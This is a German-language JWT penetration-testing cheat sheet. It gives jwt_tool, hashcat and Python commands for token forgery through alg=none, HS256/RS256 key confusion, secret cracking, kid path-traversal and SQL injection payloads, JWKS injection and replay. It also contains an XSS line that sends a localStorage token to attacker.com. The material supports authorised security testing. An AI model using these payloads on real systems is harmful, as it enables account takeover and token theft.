ALAKEEL

JWT-Pentesting

1. ALGORITHMUS-MANIPULATION
Image
Image
Image
1.1 „alg“: „none“-Test

Ziel: Überprüfen, ob der Server Signaturen ignoriert, wenn alg = "none" ist.

Vorgehen: jwt dekodieren -> header ändern („alg“: „none“) -> Signatur entfernen (header.payload.) -> senden

# Ausnutzung von Alg=none mit jwt_tool
jwt_tool original.jwt -X n

# JWT Dekodieren jwt_tool
jwt_tool token.jwt -d

# Mit Python
## JWT dekodieren
import jwt
token = "JWT.TOKEN.HIER"
print(jwt.decode(token,options={"verify_signature":False}))

## JWT kodieren
import jwt
secret = "secret123"
payload = {"user": "admin"}
print(jwt.encode(payload, secret, algorithm="HS256"))

Test: Sollte abgelehnt werden.
Wenn akzeptiert -> vollständige Token-Kompromittierung.

1.2 HS256 ↔ RS256 Algorithmus-Swap

Ziel: Prüfen, ob RS256/HS256 vertauscht werden kann.

Voraussetzung: Public Key liegt vor (public.pem)

Vorgehen: JWT dekodieren -> Header ändern („alg“: „HS256“) -> Public Key des Servers als „secret“ benutzen -> Token neu signieren mit HS256.

# Token neu signieren mit HS256 (mithilfe des Public Keys)
jwt_tool original.jwt -X s -S public.pem
# Mit Python 
import jwt
with open("public.pem") as f:
    pub = f.read()
print(jwt.encode({"user":"admin"}, pub, algorithm="HS256"))

Test: Wenn akzeptiert → kritische Schwachstelle
→ Angreifer kann beliebige Tokens generieren.

2. SCHWACHE / LEAKED SECRETS
Image

Erfolg: Angreifer kann beliebige JWTs generieren.

Tools: Hashcat (Mode JWT = 16500), jwtcrack, John the Ripper

2.1 Bruteforcing
# Token extrahieren und in Datei speichern:
echo "<JWT>" > jwt.txt

# Mit Hashcat
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt

# Mit John the Ripper
john --format=HMAC-SHA256 jwt.txt

# Secret Guessing mit jwt-cracker
python3 jwt-cracker.py -t <JWT> -d wordlist.txt
2.2 Inklusive Schlüssel in Code/Repos suchen

Während Pentests häufig:

  • secret = "mysecret" in JS/TS
  • Git-Leaks
  • ENV-Files (JWT_SECRET=)
3. HEADER-MANIPULATION
Image
Image
3.1 KID Injection (Key ID)

Viele Server nutzen kid zum Laden eines Schlüssels.

Vorausgesetzt: Pentester sollte den Secret Key zum Erneut Signatur generieren.

Exploit-Ideen

# Directory Traversal
{"kid": "../../../../etc/passwd", "alg": "HS256"}

# SQL injection
{"kid":"' OR 1=1--", "alg":"HS256"}

# Key confusion:
Server lädt Key aus falscher Quelle.
4. PAYLOAD-MANIPULATION
Image
Image
Image
Image
4.1 Rollen eskalieren (Admin-Bypass)

Vorausgesetzt: Mit gültiger Signatur testen (falls Schlüssel geleakt, „alg:none“ geht etc.)

Vorgehen: JWT dekodieren -> Payload ändern -> Token neu signieren (bei HS256)

jwt_tool token.jwt -d

{"role":"admin","user":"victim"}

jwt_tool modified.jwt -X s -S secret.txt
4.2 exp / iat manipulieren

Testen:

  • "exp" entfernen
  • "exp" extrem weit in Zukunft setzen
  • "iat" manipulieren

Checken, ob Server korrekt validiert:

  • Ablauf ignoriert?
  • Negative Werte akzeptiert?

Neue Payload:

{"user":"test","exp":9999999999}
5. SIGNATURVERIFICATION TESTEN
5.1 Signatur entfernen oder manipulieren
# Signatur entfernen: (Doppel-Signatur-Angriffe)
header.payload.

# Zufalls-Signatur:
echo "<header>.<payload>.$(openssl rand -hex 16)"
6. JWK / JWKS MANIPULATION
Image
Image
Image
Image

JWK Key Injection passiert, wenn Server JWKS von extern lädt.

6.1 Eigene JWK hosten und kid darauf zeigen
# Eigener JWK erzeugen:
openssl genrsa -out priv.pem 2048
openssl rsa -in priv.pem -pubout -out pub.pem

# In JWK konvertieren mit Python:
from jwcrypto import jwk
key = jwk.JWK.from_pem(open("pub.pem","rb").read())
print(key.export(private_key=False))

# Token bauen:
{"alg":"RS256","kid":"mykey"}

JWKS hosten -> prüfen, ob der Server deinen Key akzeptiert. Wenn Server vertraut -> kompletter Token-Forgery möglich.

6.2 Key Confusion (RSA -> oct)

Ziel: Algorithmus-Mismatch über JWKS
– JWK „kty“ -> manipulieren (RSA -> oct)

# Header manipulieren:
{"alg":"HS256","kty":"oct","kid":"1"}

# Dann mit Public Key des Servers als HMAC-Secret signieren:
jwt_tool original.jwt -X s -S public.pem

Manchmal lädt Server JWK und nutzt fälschlich kty als HMAC Key

7. REPLAY-TESTS

Wenn gültig -> Session-Fixation möglich.

7.1 Token mehrfach senden
# Burp Repeater oder:
for i in {1..10}; do curl -H "Authorization: Bearer <JWT>" https://target/api; done

Erwartung (sicher): einige Requests müssen abgelehnt werden (z. B. 401).
Unsicher: alle 10 liefern 200 OK → Replay möglich.

7.2 Token nach Logout testen
# Einfach erneut API anfragen:
curl -H "Authorization: Bearer <JWT>" https://target/api/userinfo
8. TOKEN-THEFT, CSRF, XSS
8.1 Token in LocalStorage abgreifen
# JWT in localStorage statt HttpOnly Cookie? 
# -> XSS = Session-Übernahme
fetch('https://attacker.com/steal?token=' + localStorage.getItem('jwt'))
8.2 GET-Parameter testen

Token über GET Parameter? -> Logging-Leaks

9. CLIENT-SIDE VALIDATION BYPASS

Viele Single-Page-Apps prüfen Token nur clientseitig.

9.1 JS ändern (SPA/Web-App)
  1. JavaScript modifizieren → Validierung ausschalten
  2. Beliebigen Token senden
  3. Prüfen, ob Backend dich trotzdem akzeptiert.
# In Browser-Konsole:
window.jwtVerify = () => true
# Oder Webpack-Bundle patchen:
sed -i 's/verifyToken(t)/true/g' app.js

In

, , , , , , , , , , ,